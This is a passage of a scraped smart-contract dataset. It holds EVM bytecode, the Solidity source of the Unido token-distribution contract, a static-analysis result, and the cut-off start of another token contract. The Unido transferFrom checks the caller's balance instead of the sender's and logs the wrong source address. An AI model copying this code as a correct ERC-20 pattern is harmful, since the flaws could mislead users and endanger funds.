838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202c5eea622ec7d79e8c5ef284013ac5e125de94c85a32a3dd912be3b45726875d64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 9,890 |
0xa48af9e5cBb7bB5c041E628411A9F7352868cBF6 | // SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
contract Ownable {
address public owner;
address private _nextOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), owner);
}
modifier onlyOwner() {
require(msg.sender == owner, 'Only the owner of the contract can do that');
_;
}
function transferOwnership(address nextOwner) public onlyOwner {
_nextOwner = nextOwner;
}
function takeOwnership() public {
require(msg.sender == _nextOwner, 'Must be given ownership to do that');
emit OwnershipTransferred(owner, _nextOwner);
owner = _nextOwner;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b != 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract UnidoDistribution is Ownable {
using SafeMath for uint256;
// 0 - SEED
// 1 - PRIVATE
// 2 - TEAM
// 3 - ADVISOR
// 4 - ECOSYSTEM
// 5 - LIQUIDITY
// 6 - RESERVE
enum POOL{SEED, PRIVATE, TEAM, ADVISOR, ECOSYSTEM, LIQUIDITY, RESERVE}
mapping (POOL => uint) public pools;
uint256 public totalSupply;
string public constant name = "Unido";
uint256 public constant decimals = 18;
string public constant symbol = "UDO";
address[] public participants;
bool private isActive;
uint256 private scanLength = 150;
uint256 private continuePoint;
uint256[] private deletions;
mapping (address => uint256) private balances;
mapping (address => mapping(address => uint256)) private allowances;
mapping (address => uint256) public lockoutPeriods;
mapping (address => uint256) public lockoutBalances;
mapping (address => uint256) public lockoutReleaseRates;
event Active(bool isActive);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
event Burn(address indexed tokenOwner, uint tokens);
constructor () {
pools[POOL.SEED] = 15000000 * 10**decimals;
pools[POOL.PRIVATE] = 16000000 * 10**decimals;
pools[POOL.TEAM] = 18400000 * 10**decimals;
pools[POOL.ADVISOR] = 10350000 * 10**decimals;
pools[POOL.ECOSYSTEM] = 14375000 * 10**decimals;
pools[POOL.LIQUIDITY] = 8625000 * 10**decimals;
pools[POOL.RESERVE] = 32250000 * 10**decimals;
totalSupply = pools[POOL.SEED] + pools[POOL.PRIVATE] + pools[POOL.TEAM] + pools[POOL.ADVISOR] + pools[POOL.ECOSYSTEM] + pools[POOL.LIQUIDITY] + pools[POOL.RESERVE];
// Give POLS private sale directly
uint pols = 2000000 * 10**decimals;
pools[POOL.PRIVATE] = pools[POOL.PRIVATE].sub(pols);
balances[address(0xeFF02cB28A05EebF76cB6aF993984731df8479b1)] = pols;
// Give LIQUIDITY pool their half directly
uint liquid = pools[POOL.LIQUIDITY].div(2);
pools[POOL.LIQUIDITY] = pools[POOL.LIQUIDITY].sub(liquid);
balances[address(0xd6221a4f8880e9Aa355079F039a6012555556974)] = liquid;
}
function _isTradeable() internal view returns (bool) {
return isActive;
}
function isTradeable() public view returns (bool) {
return _isTradeable();
}
function setTradeable() external onlyOwner {
require (!isActive, "Can only set tradeable when its not already tradeable");
isActive = true;
Active(true);
}
function setScanLength(uint256 len) external onlyOwner {
scanLength = len;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint) {
return allowances[tokenOwner][spender];
}
function spendable(address tokenOwner) public view returns (uint) {
return balances[tokenOwner].sub(lockoutBalances[tokenOwner]);
}
function transfer(address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not tradeable yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must transfer non-zero amount");
require (to != address(0), "Cannot send to the 0 address");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function approve(address spender, uint tokens) public returns (bool) {
_approve(msg.sender, spender, tokens);
return true;
}
function _approve(address owner, address spender, uint tokens) internal {
require (owner != address(0), "Cannot approve from the 0 address");
require (spender != address(0), "Cannot approve the 0 address");
allowances[owner][spender] = tokens;
Approval(owner, spender, tokens);
}
function burn(uint tokens) public {
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (tokens > 0, "Must burn non-zero amount");
balances[msg.sender] = balances[msg.sender].sub(tokens);
totalSupply = totalSupply.sub(tokens);
Burn(msg.sender, tokens);
}
function transferFrom(address from, address to, uint tokens) public returns (bool) {
require (_isTradeable(), "Contract is not trading yet");
require (balances[msg.sender].sub(lockoutBalances[msg.sender]) >= tokens, "Must have enough spendable tokens");
require (allowances[from][msg.sender] >= tokens, "Must be approved to spend that much");
require (tokens > 0, "Must transfer non-zero amount");
require (from != address(0), "Cannot send from the 0 address");
require (to != address(0), "Cannot send to the 0 address");
balances[from] = balances[from].sub(tokens);
balances[to] = balances[to].add(tokens);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function addParticipants(POOL pool, address[] calldata _participants, uint256[] calldata _stakes) external onlyOwner {
require (pool >= POOL.SEED && pool <= POOL.RESERVE, "Must select a valid pool");
require (_participants.length == _stakes.length, "Must have equal array sizes");
uint lockoutPeriod;
uint lockoutReleaseRate;
if (pool == POOL.SEED) {
lockoutPeriod = 1;
lockoutReleaseRate = 5;
} else if (pool == POOL.PRIVATE) {
lockoutReleaseRate = 4;
} else if (pool == POOL.TEAM) {
lockoutPeriod = 12;
lockoutReleaseRate = 12;
} else if (pool == POOL.ADVISOR) {
lockoutPeriod = 6;
lockoutReleaseRate = 6;
} else if (pool == POOL.ECOSYSTEM) {
lockoutPeriod = 3;
lockoutReleaseRate = 9;
} else if (pool == POOL.LIQUIDITY) {
lockoutReleaseRate = 1;
lockoutPeriod = 1;
} else if (pool == POOL.RESERVE) {
lockoutReleaseRate = 18;
}
uint256 sum;
uint256 len = _participants.length;
for (uint256 i = 0; i < len; i++) {
address p = _participants[i];
require(lockoutBalances[p] == 0, "Participants can't be involved in multiple lock ups simultaneously");
participants.push(p);
lockoutBalances[p] = _stakes[i];
balances[p] = balances[p].add(_stakes[i]);
lockoutPeriods[p] = lockoutPeriod;
lockoutReleaseRates[p] = lockoutReleaseRate;
sum = sum.add(_stakes[i]);
}
require(sum <= pools[pool], "Insufficient amount left in pool for this");
pools[pool] = pools[pool].sub(sum);
}
function finalizeParticipants(POOL pool) external onlyOwner {
uint leftover = pools[pool];
pools[pool] = 0;
totalSupply = totalSupply.sub(leftover);
}
/**
* For each account with an active lockout, if their lockout has expired
* then release their lockout at the lockout release rate
* If the lockout release rate is 0, assume its all released at the date
* Only do max 100 at a time, call repeatedly which it returns true
*/
function updateRelease() external onlyOwner returns (bool) {
uint scan = scanLength;
uint len = participants.length;
uint continueAddScan = continuePoint.add(scan);
for (uint i = continuePoint; i < len && i < continueAddScan; i++) {
address p = participants[i];
if (lockoutPeriods[p] > 0) {
lockoutPeriods[p]--;
} else if (lockoutReleaseRates[p] > 0) {
uint rate = lockoutReleaseRates[p];
uint release;
if (rate == 18) {
// First release of reserve is 12.5%
release = lockoutBalances[p].div(8);
} else {
release = lockoutBalances[p].div(lockoutReleaseRates[p]);
}
lockoutBalances[p] = lockoutBalances[p].sub(release);
lockoutReleaseRates[p]--;
} else {
deletions.push(i);
}
}
continuePoint = continuePoint.add(scan);
if (continuePoint >= len) {
continuePoint = 0;
while (deletions.length > 0) {
uint index = deletions[deletions.length-1];
deletions.pop();
participants[index] = participants[participants.length - 1];
participants.pop();
}
return false;
}
return true;
}
} | 0x608060405234801561001057600080fd5b50600436106101a85760003560e01c806360536172116100f9578063a457c2d711610097578063c36d16a911610071578063c36d16a914610578578063dd62ed3e14610595578063f2fde38b146105c3578063fb87a635146105e9576101a8565b8063a457c2d714610518578063a9059cbb14610544578063c1cda90214610570576101a8565b80638da5cb5b116100d35780638da5cb5b146104bc57806395d89b41146104c457806398fd6108146104cc578063a219fdd6146104f2576101a8565b8063605361721461046857806363ae9f6e1461047057806370a0823114610496576101a8565b806323b872dd11610166578063395093511161014057806339509351146103f157806342966c681461041d57806344fa7b241461043a5780635db5f57b14610442576101a8565b806323b872dd1461037a578063313ce567146103b057806335c1d349146103b8576101a8565b8062ab73e2146101ad57806306fdde03146101cf578063095ea7b31461024c57806318160ddd1461028c5780631b4c84d2146102a657806321563ebd146102ae575b600080fd5b6101cd600480360360208110156101c357600080fd5b503560ff16610609565b005b6101d76106c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102115781810151838201526020016101f9565b50505050905090810190601f16801561023e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102786004803603604081101561026257600080fd5b506001600160a01b0381351690602001356106e3565b604080519115158252519081900360200190f35b6102946106f9565b60408051918252519081900360200190f35b6102786106ff565b6101cd600480360360608110156102c457600080fd5b60ff82351691908101906040810160208201356401000000008111156102e957600080fd5b8201836020820111156102fb57600080fd5b8035906020019184602083028401116401000000008311171561031d57600080fd5b91939092909160208101903564010000000081111561033b57600080fd5b82018360208201111561034d57600080fd5b8035906020019184602083028401116401000000008311171561036f57600080fd5b50909250905061070f565b6102786004803603606081101561039057600080fd5b506001600160a01b03813581169160208101359091169060400135610b7a565b610294610ea3565b6103d5600480360360208110156103ce57600080fd5b5035610ea8565b604080516001600160a01b039092168252519081900360200190f35b6102786004803603604081101561040757600080fd5b506001600160a01b038135169060200135610ecf565b6101cd6004803603602081101561043357600080fd5b5035610f0a565b610278611037565b6102946004803603602081101561045857600080fd5b50356001600160a01b0316611362565b6101cd611374565b6102946004803603602081101561048657600080fd5b50356001600160a01b031661141e565b610294600480360360208110156104ac57600080fd5b50356001600160a01b0316611430565b6103d561144b565b6101d761145a565b610294600480360360208110156104e257600080fd5b50356001600160a01b0316611479565b6102946004803603602081101561050857600080fd5b50356001600160a01b031661148b565b6102786004803603604081101561052e57600080fd5b506001600160a01b0381351690602001356114be565b6102786004803603604081101561055a57600080fd5b506001600160a01b0381351690602001356114f4565b6101cd611708565b6101cd6004803603602081101561058e57600080fd5b50356117d7565b610294600480360360408110156105ab57600080fd5b506001600160a01b0381358116916020013516611825565b6101cd600480360360208110156105d957600080fd5b50356001600160a01b0316611850565b610294600480360360208110156105ff57600080fd5b503560ff166118bb565b6000546001600160a01b031633146106525760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b60006002600083600681111561066457fe5b600681111561066f57fe5b815260200190815260200160002054905060006002600084600681111561069257fe5b600681111561069d57fe5b81526020810191909152604001600020556003546106bb90826118cd565b6003555050565b60405180604001604052806005815260200164556e69646f60d81b81525081565b60006106f0338484611992565b50600192915050565b60035481565b6000610709611a94565b90505b90565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600085600681111561076657fe5b101580156107805750600685600681111561077d57fe5b11155b6107d1576040805162461bcd60e51b815260206004820152601860248201527f4d7573742073656c65637420612076616c696420706f6f6c0000000000000000604482015290519081900360640190fd5b828114610825576040805162461bcd60e51b815260206004820152601b60248201527f4d757374206861766520657175616c2061727261792073697a65730000000000604482015290519081900360640190fd5b6000808087600681111561083557fe5b141561084757506001905060056108f8565b600187600681111561085557fe5b1415610863575060046108f8565b600287600681111561087157fe5b14156108825750600c9050806108f8565b600387600681111561089057fe5b14156108a1575060069050806108f8565b60048760068111156108af57fe5b14156108c157506003905060096108f8565b60058760068111156108cf57fe5b14156108e0575060019050806108f8565b60068760068111156108ee57fe5b14156108f8575060125b600085815b81811015610a9e57600089898381811061091357fe5b905060200201356001600160a01b03169050600c6000826001600160a01b03166001600160a01b03168152602001908152602001600020546000146109895760405162461bcd60e51b8152600401808060200182810382526042815260200180611b346042913960600191505060405180910390fd5b600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b0383161790558787838181106109e057fe5b6001600160a01b0384166000908152600c602090815260409091209102929092013590915550610a3d888884818110610a1557fe5b6001600160a01b03851660009081526009602090815260409091205493910201359050611a9d565b6001600160a01b038216600090815260096020908152604080832093909355600b8152828220899055600d905220859055610a93888884818110610a7d57fe5b9050602002013585611a9d90919063ffffffff16565b9350506001016108fd565b50600260008a6006811115610aaf57fe5b6006811115610aba57fe5b815260200190815260200160002054821115610b075760405162461bcd60e51b8152600401808060200182810382526029815260200180611c276029913960400191505060405180910390fd5b610b4382600260008c6006811115610b1b57fe5b6006811115610b2657fe5b8152602001908152602001600020546118cd90919063ffffffff16565b600260008b6006811115610b5357fe5b6006811115610b5e57fe5b8152602081019190915260400160002055505050505050505050565b6000610b84611a94565b610bd5576040805162461bcd60e51b815260206004820152601b60248201527f436f6e7472616374206973206e6f742074726164696e67207965740000000000604482015290519081900360640190fd5b336000908152600c60209081526040808320546009909252909120548391610bfd91906118cd565b1015610c3a5760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b6001600160a01b0384166000908152600a60209081526040808320338452909152902054821115610c9c5760405162461bcd60e51b8152600401808060200182810382526023815260200180611b766023913960400191505060405180910390fd5b60008211610cf1576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038416610d4c576040805162461bcd60e51b815260206004820152601e60248201527f43616e6e6f742073656e642066726f6d20746865203020616464726573730000604482015290519081900360640190fd5b6001600160a01b038316610da7576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038416600090815260096020526040902054610dca90836118cd565b6001600160a01b038086166000908152600960205260408082209390935590851681522054610df99083611a9d565b6001600160a01b038085166000908152600960209081526040808320949094559187168152600a82528281203382529091522054610e3790836118cd565b6001600160a01b038086166000908152600a60209081526040808320338085529083529281902094909455835186815293519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b601281565b60048181548110610eb557fe5b6000918252602090912001546001600160a01b0316905081565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f059086611a9d565b611992565b336000908152600c60209081526040808320546009909252909120548291610f3291906118cd565b1015610f6f5760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b60008111610fc4576040805162461bcd60e51b815260206004820152601960248201527f4d757374206275726e206e6f6e2d7a65726f20616d6f756e7400000000000000604482015290519081900360640190fd5b33600090815260096020526040902054610fde90826118cd565b33600090815260096020526040902055600354610ffb90826118cd565b60035560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600080546001600160a01b031633146110815760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b6006546004546007546000906110979084611a9d565b6007549091505b82811080156110ac57508181105b15611245576000600482815481106110c057fe5b60009182526020808320909101546001600160a01b0316808352600b90915260409091205490915015611112576001600160a01b0381166000908152600b60205260409020805460001901905561123c565b6001600160a01b0381166000908152600d602052604090205415611206576001600160a01b0381166000908152600d602052604081205490601282141561117e576001600160a01b0383166000908152600c602052604090205461117790600861192a565b90506111af565b6001600160a01b0383166000908152600d6020908152604080832054600c909252909120546111ac9161192a565b90505b6001600160a01b0383166000908152600c60205260409020546111d290826118cd565b6001600160a01b0384166000908152600c6020908152604080832093909355600d90522080546000190190555061123c9050565b600880546001810182556000919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3018290555b5060010161109e565b506007546112539084611a9d565b600781905582116113585760006007555b6008541561134c576008805460009190600019810190811061128257fe5b90600052602060002001549050600880548061129a57fe5b600190038181906000526020600020016000905590556004600160048054905003815481106112c557fe5b600091825260209091200154600480546001600160a01b0390921691839081106112eb57fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600480548061132457fe5b600082815260209020810160001990810180546001600160a01b031916905501905550611264565b6000935050505061070c565b6001935050505090565b600d6020526000908152604090205481565b6001546001600160a01b031633146113bd5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c056022913960400191505060405180910390fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600b6020526000908152604090205481565b6001600160a01b031660009081526009602052604090205490565b6000546001600160a01b031681565b6040518060400160405280600381526020016255444f60e81b81525081565b600c6020526000908152604090205481565b6001600160a01b0381166000908152600c602090815260408083205460099092528220546114b8916118cd565b92915050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916106f0918590610f0590866118cd565b60006114fe611a94565b61154f576040805162461bcd60e51b815260206004820152601d60248201527f436f6e7472616374206973206e6f7420747261646561626c6520796574000000604482015290519081900360640190fd5b336000908152600c6020908152604080832054600990925290912054839161157791906118cd565b10156115b45760405162461bcd60e51b8152600401808060200182810382526021815260200180611bba6021913960400191505060405180910390fd5b60008211611609576040805162461bcd60e51b815260206004820152601d60248201527f4d757374207472616e73666572206e6f6e2d7a65726f20616d6f756e74000000604482015290519081900360640190fd5b6001600160a01b038316611664576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742073656e6420746f207468652030206164647265737300000000604482015290519081900360640190fd5b3360009081526009602052604090205461167e90836118cd565b33600090815260096020526040808220929092556001600160a01b038516815220546116aa9083611a9d565b6001600160a01b0384166000818152600960209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b031633146117515760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b60055460ff16156117935760405162461bcd60e51b8152600401808060200182810382526035815260200180611aff6035913960400191505060405180910390fd5b6005805460ff1916600190811790915560408051918252517fe4c97c0b674016b317b52dd3fbb57699889c86e187b096bc5a7f6dc3fcb12c209181900360200190a1565b6000546001600160a01b031633146118205760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600655565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6000546001600160a01b031633146118995760405162461bcd60e51b815260040180806020018281038252602a815260200180611bdb602a913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60026020526000908152604090205481565b600082821115611924576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008161197e576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161198957fe5b04949350505050565b6001600160a01b0383166119d75760405162461bcd60e51b8152600401808060200182810382526021815260200180611b996021913960400191505060405180910390fd5b6001600160a01b038216611a32576040805162461bcd60e51b815260206004820152601c60248201527f43616e6e6f7420617070726f7665207468652030206164647265737300000000604482015290519081900360640190fd5b6001600160a01b038084166000818152600a6020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60055460ff1690565b600082820183811015611af7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe43616e206f6e6c792073657420747261646561626c65207768656e20697473206e6f7420616c726561647920747261646561626c655061727469636970616e74732063616e277420626520696e766f6c76656420696e206d756c7469706c65206c6f636b207570732073696d756c74616e656f75736c794d75737420626520617070726f76656420746f207370656e642074686174206d75636843616e6e6f7420617070726f76652066726f6d20746865203020616464726573734d757374206861766520656e6f756768207370656e6461626c6520746f6b656e734f6e6c7920746865206f776e6572206f662074686520636f6e74726163742063616e20646f20746861744d75737420626520676976656e206f776e65727368697020746f20646f2074686174496e73756666696369656e7420616d6f756e74206c65667420696e20706f6f6c20666f722074686973a264697066735822122034bbbca5d71b5134fd9dda5ca9705babf3409e8d3d41e708033f365280db28c464736f6c63430007000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,891 |
0xb4086da96c1c47716dfb6769e8f4eb666ab6382d | // SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
